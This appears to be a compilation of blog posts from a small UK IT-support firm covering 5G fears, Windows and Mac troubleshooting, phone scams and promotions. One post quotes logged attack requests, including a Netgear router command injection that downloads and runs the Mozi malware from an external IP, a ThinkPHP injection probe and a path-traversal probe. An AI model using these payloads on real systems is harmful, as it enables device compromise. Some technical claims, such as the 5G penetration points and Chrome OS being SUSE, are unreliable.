Support when you need IT

One of my clients, had been listening to David Ike and was worried that 5G was
the cause of all sorts of problems. When he mentioned this to me, I laughed at
him. He asked why I was laughing, I explained that 5G was not the threat that he was posing, but 3/4G were! In fact, no mobile device should be within 15 millimeters of your skin, so holding your phone up to your head, is far worse.

So, 5G simply cannot penetrate glass, walls or even skin, in fact, it uses the reflectivity to its advantage, to bounce the signal around corners.

There are three levels of frequencies used in 5G, low frequency (USA), medium frequency (Europe) and high frequency, used everywhere. Now as with current Microwave technology, it is not advised to stand in front of the signal generated, this is the same as the high frequency for 5G, which is only used for transmitter to transmitter communications. The two lower levels are used at the ground level of getting the signal to your devices. Also the directionality of the 5G signal, again only works on these lower levels of the 5G frequency range. There is no need to have these arrays on the high frequency, since transmitters do not move locations. And yes the bandwidth has been tested by the military for crowd control, but again, they have a big dish they move and control, if you start moving 5G transmitters, they will stop working!

As for the power of these low level frequency, this is what made me laugh about my clients point, I asked him to see how many signal bars his 4G phone had, he said 4 bars. So to get the signal to his phone, inside his house, they had to increase the signal strength at the transmitter to get it to his phone, so if he were to walk up to that transmitter, then for sure, the power in that signal would be a worry.

If you are not sure about 5G or are worried about its affects, then ask people that actually work in the industry, not someone, looking in from the sidelines.

After upgrading a MacBook Pro to MacOS Catalina, both the App Store and Photo's, got stuck. Reading up about this, there were various suggestions, however, none of them worked.
Sometimes, the simplest solutions are the best, so create a new user and login to iCloud. Everything will come together.
There will be some information retained from the upgrade process in the original account, that obviously caused a few issues. A fresh account will not have this information stored.

Along with the good hygiene method of washing your hands, that we are advised to do, you should also think of surfaces you regularly use, such as a keyboard and a mouse.
Clean these with isopropyl alcohol solution on cotton wool or a lint free cloth, with the machine switched off.
Also your mobile phone could do with a clean.

I had asked one of my latest clients to contact their service provider, Sky today.
Luckily, I was connected to her computer and saw that she typed in to Bing search 'sky telephone number'. The first entry. which she selected, was not Sky, but an India firm, advertising Customer Services Sky, but they are called connectandrecord. If she had proceed, she potentially could have spent a lot of time with them, for which they would have charged her and infected her machine with malware. I managed to stop her just as she was connecting to them, which would have been charged at &pound1.50 per minute!

In fact, if you go to the Sky website, they do not advertise their telephone contact numbers! You have to find them from other sources on the internet, which is a reason, this lady, nearly ended up in trouble.

When you search for something whether, it is Bing, Google or anywhere else, always check if the actual website link, is that of the company you were
expecting. Hover over most links in any web browser, will display in the bottom left of that window, the contents of that link.

Google provide some free tools for checking over your website and seeing how Google see your site. However, recently a third of entries on Google's WebMaster Tool. Having checked over 300 entries to determine the fault is with Google, or rather the fact that one of the Googlebot's does not provide correct header information and therefore returns an error.
On whitelisting the Ip address for the Googlebot, the site pickup and been running and at last is nearly complete.
So if you see parts of your website not being crawled correctly by Google, maybe it is not you.

This is the French effort:-
//admin/config.php?password%5B0%5D=admin&username=admin

Romania are not missing out with:-
../../proc/

China seem to be after ThinkPHP with /index.php/module/action/param1/${@die(md5(HelloThinkPHP))}
China is now on the Netgear router attack:-
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.159.207.48:53229/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
Another recent attempt:-
/Admin39c8afd5/Login.php

The last set of updates for Windows 10 came and in some cases caused a few issues, however the solution required to resolve this situation was a bit more long winded than normal.
Involving sfc and dism commands to resolve the underlying Windows files, reboot before checking the status of the Windows Store. Once this has been updated, you should be good to go for the Windows Updates.

Over the last couple of weeks, we have added 2000 products to our sales site. Once the index was released to Google and Bing, a sharp increase of impressions was noticed, from about 400-500 impressions, up to over 8000 impressions, followed by two days of about 4000 each, then from down to about the 1000 or so, we normally see with products.
Obviously this caught them off guard, until they had time to notice and react. This also explains why the search providers continually look for previous pages, so they can prevent the natural number of impressions to be available, if a page previous seen, is removed and then re-added.
No doubt this will have something to do with allowing Ad-Word and Ad-Sense, some value. But shows that the natural listings are controlled, therefore they are not natural.

If you have noticed a speed difference after the installation of the October release in December, if so then you may wish to remove Mobile Plans, which will stop your machine from trying to access cellular networks, especially, if you do not have the equipment on your device.

We have started to monitor the number of hacking attempts on our servers.
There are many types of hacks, one of the worst is attempts on WordPress, which is funny as none of my clients used that product.

The attempts to the server, usually are attempts to access the server directly via Secure Shell, which would give the most access, there are usually over 50 attempts a day, but we do not use the port they are trying, so they get automatically blocked.

After updating Windows 10, the graphics driver was in error (39) and refused to load. After trying a number of different ways to get the driver to reload, but the error persisted. So checked the driver difference between \Windows\System32\drivers and \windows.old\system32\drivers and noticed there where indeed some items that had not been transferred. So copied the items that were missing. Unloaded the failing device driver and restarted the machine, to allow the driver to load correctly, which worked.

A client asked yesterday, if I could sort out his Microsoft Small Business Server 2012, IBM Notes and Domino, for his Masterfile system. My answer, of course was, yes. I haven't had a chance to see the latest development of the Lotus Notes and Domino server range of products.
As always, I resolved the clients requirements and got them running, in the time it would take most companies to organise to do a site visit! One extremely happy customer, somewhere up country. The power of remote support...

Many people use VLC all the time for their media playback, but most do not realise the power held within VLC.

You can, for instance record with VLC, select the View menu and select Advanced Controls. This will add a few features to your control area, like record, snapshot,loop and frame by frame.

One of the more interesting features, yet hidden to most people, is if you scroll down the left hand column in the playlist, you will find Icecast Radio Directory, where you have access to many internet based radio stations.

Another feature, is the ablitity to convert file formats, select the Media menu, click on Convert/Save. Add a file to convert, click Convert/Save and change the format by the Profile and provide a filename for the output file, click Start and it will convert your media.

Mumsnet was hacked on 11th August 2015, users are reminded to change their passwords, if they haven't already.

Many users may still be concerned about their own systems, for instance, if they are seeing 'pop-ups' or when they request one site, they get another.

At 1st Line Support, we provide a cheap remote support service, saving time and money, but also increasing your personal security, by not visiting you at home. Some people are concerned about remote support, but hackers wouldn't bother with this type of connection, when 'bots' (robots) are available that mean you can control the machine, without connecting to it, which would let the user know that they have been hacked.

Our service, usually, takes 2 hours and is for a one time service of £45 or simply £15 per month, minimum 3 months on contract. Further, discounts on the monthly contract can be applied. For each sign up for the Home Computer Support scheme, you get £5 off per month

1st Line Support has been providing world-wide support for 9 years, from clients in the Shetland Inlands and Belfast to London and Cornwall plus anyone who travels aboard.

If you want to 'do it yourself', there is nothing like having a helping hand, having 1st Line Support in the background for helping guide you though sorting out your machine, with free helpful advice.

With the recent events with TalkTalk allowing their client data to be downloaded, off-site. It just goes to show, if you are responsible for your client data, then do not hold it on your web server. Your systems designer should be able to point out many reasons for not holding the data in this manor, the main reason is security, if your data in on the same server, you really should consider changing suppliers and get it right.

This also shows that getting Web Designers, who maybe be able to make the site look and feel good, but they lack the background skills of Web Developers, who would create a secure back-end system, to work along side the frond-end Web Designers.

As for the News reports with Government talking about computer security issues, which they don't really understand! Makes them look clever if you don't know, but silly if you do.

And as for the Cyber Security Experts (where do they get these guys from?), oh that's it, they know how to get around the Dark Web, so what, so can anyone, what makes them experts, years of being in the front line of Cyber Crime? No, just the fact they are down the road, in London.

Now the date is upon us, to give Windows 10 a go, in the current update, that has been provided, by Microsoft. We haven't now seen this yet, the previous version of Windows 10, we tested, was a complete machine, download and install, fresh.

Things to bear in mind before doing you Windows 10 update:-

Do not try to update without the main power, if you are on a laptop
Ensure you have a good backup of your system, recovery disks and especially your data
Ensure you have enough drive capacity, at least 15GB
Run Anti-Virus scan
Run Anti-Malware scan
Run 'sfc /scannow' in a administrative command shell (right mouse on cmd then select Run as Administrator or hold Ctrl and the Shift key and click on the icon) If corruption is found, run SFCFix.exe
Ensure all other updates are complete
Detach any hardware, you don't need for the installation
Ensure you have our number to hand, before moving on to next step, just in case

Starting the process, go to Windows Updates and select Get Started
Once you have agreed to the Terms and Conditions, the download will take place
It will then prompt you to reboot
It will reboot and start to apply the updates
Then you will get to an upgrading Windows screen, this could take some time, so relax and enjoy, the wait.
If the above process fails, restart your machine and it will attempt the process again. If this continues to loop, give us a ring. We can help you get back to your original Windows.
Once you have the Welcome back message, you are nearly there, a few clicks and you get the login prompt. Then back to setting up your machine/apps etc

Once you have your updates Windows 10, ensure you create recovery disks and you update your backups.

As a computer consultant, I watch the Dimbleby Lecture, with Baroness Martha Lane-Fox last night. She hit upon some key areas that should and need to be addressed within the UK today, when it comes to computers and technology.

But, you have to be careful where you get your information from. One of my clients, had a telephone system installed recently. They had not used all the facilities until recently, when problems started to occur. I met the engineer involved, who could only really, keep saying that he had 15 years experience and putting thousands of these systems in all over the place. It had to be a line fault, not his equipment. The resolution was to remove the ADSL line from the PBX system.

Then again another computer engineer today, who saw the problem, decided it was hardware faults on the equipment and started doing memory checks on the machines! The machines had crashed out due to the wireless disappearing (due to the PBX system being connected) and needed Office repair running to clear up the mess.

The main problem with the above case is, that these people, did not look at all the facts, before starting to try to fix the problems, they could see.

The fear I have is 'dot everyone' could be a great idea, but you have to be very careful as to where information is from and how you interrupt it.

BT have asked me to report the telephone engineer to Oftel, so I am have all facts check at source, by the manufacturers, before proceeding.

Web development is extremely important these days, with this in mind we have be doing some research on three of the main players, WordPress, Joomla and our own Bespoke! package.

WordPress is a huge 10Mb file to download and placing your data in it, isn't always easy. Joomla is only 3Mb and again, you data doesn't seem to be as important as the program itself.

As an example:-

To process one page in WordPress takes 2.3 seconds
The same site in Joomla take 1.8 seconds
Again the same site in Bespoke! 0.7 seconds

Bespoke! is written in 150kb and one intelligent template, the power of the system is driven by MySQL and PHP, but very trim coding, with unlimited number of pages and a built-in blog and sales system.

After all, what is important, the system you intend to use or your data.

With the end of XP, but the return of XP Windows Media Centre, in the form of Windows 8.1

Microsoft seem to be stuck in the idea that everyone needs to run with limitations on screen size, especially.

The first thing clients ask us, is there a way to return their normal Desktop, which the answer is, yes we can.

Unless your machine has touch screen capabilities Windows 8.1 is a pain to use, especially to an end user that is used too, a desktop environment

As for use in a business environment, Windows 8.1 actually gets in the way of performance, adding complexity rather than improving the end user experience.

Will Microsoft take note of end users? Well, this is what we will determine, come the Windows 9 release. Will they continue to force a new experience on people or will equipment define the way forward?

XP at an end, Linux to the rescue. Rather than having to upgrade your computer to run Windows 8, why not have a chat about running Linux, this can be loaded alongside your XP system, so you can choose which you run.

A client raised a question about leaving his computer plugged in to the electricity supply, whilst he is away for a few days. We recommend that you unplug everything you can, maybe leave the fridge/freezer. You don't what an electrical accident, whilst you are away.

Looking at the increasing value of Bitcoin, it would appear that you can actually buy less and less with it, since the value of 1 bitcoin, now exceeds $600. This makes it a waste of time, unless you have plenty of dollars or pounds to throw at it. If you want to mine a Bitcoin, with a standard computer it will take a little over a year, and you cannot use the machine!

One of my clients had a call from their 'Service Provider' today, telling them they had viruses on their computer, luckily for them, they use 1st Line Support and put the phone down and reported the incident to the police. If you get a phone call from your 'Service Provider' claiming that you have viruses, always offer to phone the actual Service Provider to confirm.

A report on BBC South Today last night shows that many people using computers need help and support to ensure their security is upheld. This also proves that many computer companies, do not actually have good understand and requirement to the problem. We can provide you the help and support you need and if all else fails we will hack the hackers.

Bank Holidays are a good time to have your computer sorted out.
We can help you with tidying up your machine, show you how to avoid viruses and malware. And what to do if they strike.
We don't even have to come out to you, this can all be done remotely, showing you how to get the best out of your computer.

The Delta Toolbar is the lastest malware to hit the Windows Operating System market. This is hard to remove, since you can remove parts of it, whilst leaving other parts still active.
Have a chat, if you think you have this Malware

Due to the increase in our web development, we are please to announce that we have a cloud based web server, providing 100% online service, monitored and controlled with our 30 years of experience and knowledge, at this specialized skill level.
Whilst others claim they have knowledge, one thing you can guarantee, is that 1st Line Support have actually have worldwide evidence of using all our skills over the past 30 years, leading the way.
Why not come and join the party, have your website developed, stored and marketed by someone with the knowledge and experience you really need to make it work for you.
For a limited time from only 70 GBP per year (normally 100 GBP per year), we will provide you with enough space and resources for your website to grow.
Click on the picture below for more information

A number of my serviced clients have recently purchased new machines. The monthly service contract normally takes about 1 hour of our time and then a following hour to check the hardware, which the machine does itself.
Since they have purchased their new machines, the amount of time for the service has reduced to approximately 15 minutes. This just shows how you too could benefit from a new machine. Have a look at our range

A word of warning to Apple Mac users, especially those that think
placing items in their Trash, clears disk space, this is not the case.
The room is still used by the system, until the Trash is emptied.
Leaving items in the Trash means that you cannot tell when your machine
's hard drive is becoming full. This is because items in the Trash do
not provide file sizes and is normally based on a percentage of the
over-all drive size.

In recent months there has been an increase in the volume of reports about companies phoning customers, saying that they (the customer) have viruses on their computers. This along with the fact, they (the company) say they are from Windows, is a bit of a problem. I have heard that many people have fallen for this and actually paid money to these people and let them on to their machines.
If you receive and telephone call saying that they are from Windows, do not believe them, Windows is owned by Microsoft and if Microsoft were to phone you, they would say that they are indeed from Microsoft.
If you have indeed let them on to your machine, we can offer a half price service of your machine, to ensure that they are no longer there, using your machine to send spam emails etc. This would normally be 40 GBP, our special price is therefore 20 GBP
Spread the word and let your friends and family know that this scam is happening.
As seen on BBC South Today

When was the last time you ran Check Disk, manufacturers recommend that you consider running it every 4 weeks. So, when did you last check yours?
If you are on Windows, you need to go to Windows Explorer, look at the Disk on your machine and press the right mouse button, then select properties, then select the Tools tab, the top button is Check Disk, click this, then select both tick boxes and click Start, you maybe asked if you wish to run the check after the next reboot, select Yes. Now reboot your machine.
If you are on an Apple Mac, you need to go to Finder, select Application, and then Utilities. Now look for Disk Utility and double click this, select your drive in the list on the left. Then you should Verify your permissions and repair if need. Then verify your disk and repair if required.
Disk checking can take some time and you should not run any software during this process.

Having your machine serviced, just like your car, is a worthwhile thing to do, it will run faster, be virus and malware free. It also means that your software can be kept up to date, for only one hour of your time on the machine once a month. @1stLineSupport can also ensure your backups are being taken and working, just in case.

We can provide help and support wherever you are. So long as you have access to the internet or even just a phone, we can help with any technical problem that you may have.
We have clients in Dubai and Australia, but will possibly never actually meet them, but they benefit from having good technical support, knowledge and understanding.
In fact, nine times out of ten, even if the machine is in front of us we will still prefer to use remote support technology, to resolve problems, since it is quicker and easier to resolve issues on Windows, Mac and Linux products, whilst having full access to the internet, to look things up.
We provide three levels of support, based on your requirements, Home Computer Support for those at home.
Small Business/Home Office Computer Support, for those who have small businesses or a small shop.
Then we have the Business Computer Support package, which is designed for the heavy business user, ensuring their day runs smoothly, most problems are resolved overnight to save time and money.
Remote support also increases you personal security, not having strange computer people milling around your house/office and your computer. During remote support you can watch and if you do not like something that we do, stop us. If an engineer is at your house, how do you know what they are really doing?

We provide a variety of training, based on your actual requirements, rather than a set list of want we think you should know.
Most training courses provide a fixed set of lessons, teaching you how to achieve something, we believe that your best requirement, is to actually understand the subject and be shown how to make the most of that subject.
We teach you in your own time, at your own pace, on your own equipment. This helps in that, you are not learning on computers you have never seen before. You learn on your own machine, so everything is familiar to you.
We provide knowledge on any social platform you wish to get the best use out of:-
Facebook
Twitter
LinkedIn
Foursquares
Yelp
Paypal
And many more, like MS Word, MS Excel, MS Access, Adobe Photoshop, Adobe Illustrator, MySQL, MS SQL, PHP, HTML, VisualBasic
Once you have finished your training, we are still available for those moments, where you just cannot remember and need a prompt, in the right direction.

Just downloaded the latest version of Google Chrome OS, installation took a couple of attempts on my VirtualBox emulator, but third time lucky, it finally installed.
Google in their wisdom have chosen to use Gnome instead of KDE, personally I think this is a poor move. But, one advantage is that since Google Chrome OS is actually SUSE Linux, you can quickly change this in Yast.
Again, SUSE is not my recommended distribution of Linux, I prefer Mandriva. At least this is a stable version, which should have meant the installation should have gone more smoothly.
Once you have the system set-up the way you want it, it works well, but I personally cannot see any major advantage to using Google Chrome OS over SUSE or indeed Mandriva.
So I went back to my Mandriva installation and installed Chromium, this is a Linux version of Googles Chrome browser and works well in Linux, now my preferred browser in Linux.
If you are interested in running Linux on your system, Google Chrome OS, initially is small therefore fairly quick to install, but I would still recommend my favourite Mandriva Linux.

If you have recently purchased a new laptop, you can help yourself to more battery life, by removing it. When the machine is plugged in normally, you are constantly charging the battery, this can damage it or use up its life time of charging rate.
You should take the battery off the machine when used on mains power and store it safely in a dry cool place. Check the battery once a month and charge fully.
This will help keep your batterys life, since you will only be using the battery when you are out and about.

We can show you in minutes, what other trainers take hours to teach. Why not learn something new today and get more from your technology.
We can connect to your machine, so you learn in your own environment. Rather than taking you to a classroom, where everything is laid out differently.
At a time that suits you, we are available when you are.
Mon-Fri 9am-11pm
Sat-Sun 10am-10pm

There has been a recent upsurge in the Metropolitan Police Virus. This asks the user for money, DO NOT pay.
The solution is fairly easy:-
Boot in to Safe Mode
Start Explorer
Find the C: drive
Look for Documents and Settings
Look for All Users
If you cannot see Application Data, select the Tools menu, then sleect Folder Options, then the tab called View. untick Hide protected operating system files and Show hidden file and folders, click OK
Select Application Data
Look for the files in that folder and delete them
Reboot in to normal mode
Load Malwarebytes and run a Quick Scan, Remove any items found
Or
Contact us to do this service for you.

With 35 years being at the top, in computers, you can be sure Jon Tucker of 1st line Support has the solution for you. Experienced with all levels of technology, leading the way and showing engineers how they can support the technology. As an example, every company he has worked for, immediately place him in charge of their internal system and their top clients. One client had three month worth of helpdesk calls, he cleared them all, correctly with happy users, around the world, in one day! One of the aspects of his job he loves, is when people come to him, they are usually upset, because of their technology failing them, when they leave they are always smiling. So what suffer, when you can smile? Also 90% of his work, he can do from wherever he is and wherever you are, saving time, effort and money.
From computer hardware and software sales, with full support on any technology you have or use. From the home, office or on the web with our Web Dressing product, why not put a smile on your face today. Available when you need him between 9am-11pm Monday to Friday and 10am-10pm Saturday and Sunday.

A new scam on Skype, you may get a call from SYSTEM NOTICE - URGENT ONLINE REPAIR saying go to a website for system repair. This may cause you a problem, because you will be tricked in to downloading a virus or malware.

There is a new Malware lurking about, this time on the Apple Mac system. Apple have patched the loophole, that was found in a recent Java update. The Malware is called Flashback, instructions for manual removal are available.
Approximately, 600,000+ machines have been infected, so it is worth checking to see if you have been. F-Secure provide more information on OSX/Flashback.I.

If you are as old as me you will remember the days of the Commodore Amiga and the Atari ST, it brings back fond memories for me.
Commodore are releasing a new computer in a small form factor PC chassis, called the Amiga Mini. The system comprises an Intel Core i7 processor running at 3.5ghz, with 16GB of DDR3 memory. Graphics are handled by the rather weak Nvidia GT 430 (1GB). The system also includes Wifi, a 1TB hard disk drive which they can replace with a Solid state drive, if speed is your primary concern.
Commodore also include a Blu Ray drive, more space for 2.5 inch drives. The Commodore logo is proudly engraved into the front of the case.
Pricing is around the $2,475 mark and that includes a copy of Commodore OS Vision. The company are also releasing the C64x Supreme.
The Commodore Amiga Mini will be offered in silver and black cases. You can read more about it over here.
Kitguru says, A Core i7 Amiga, who would ever have thought it?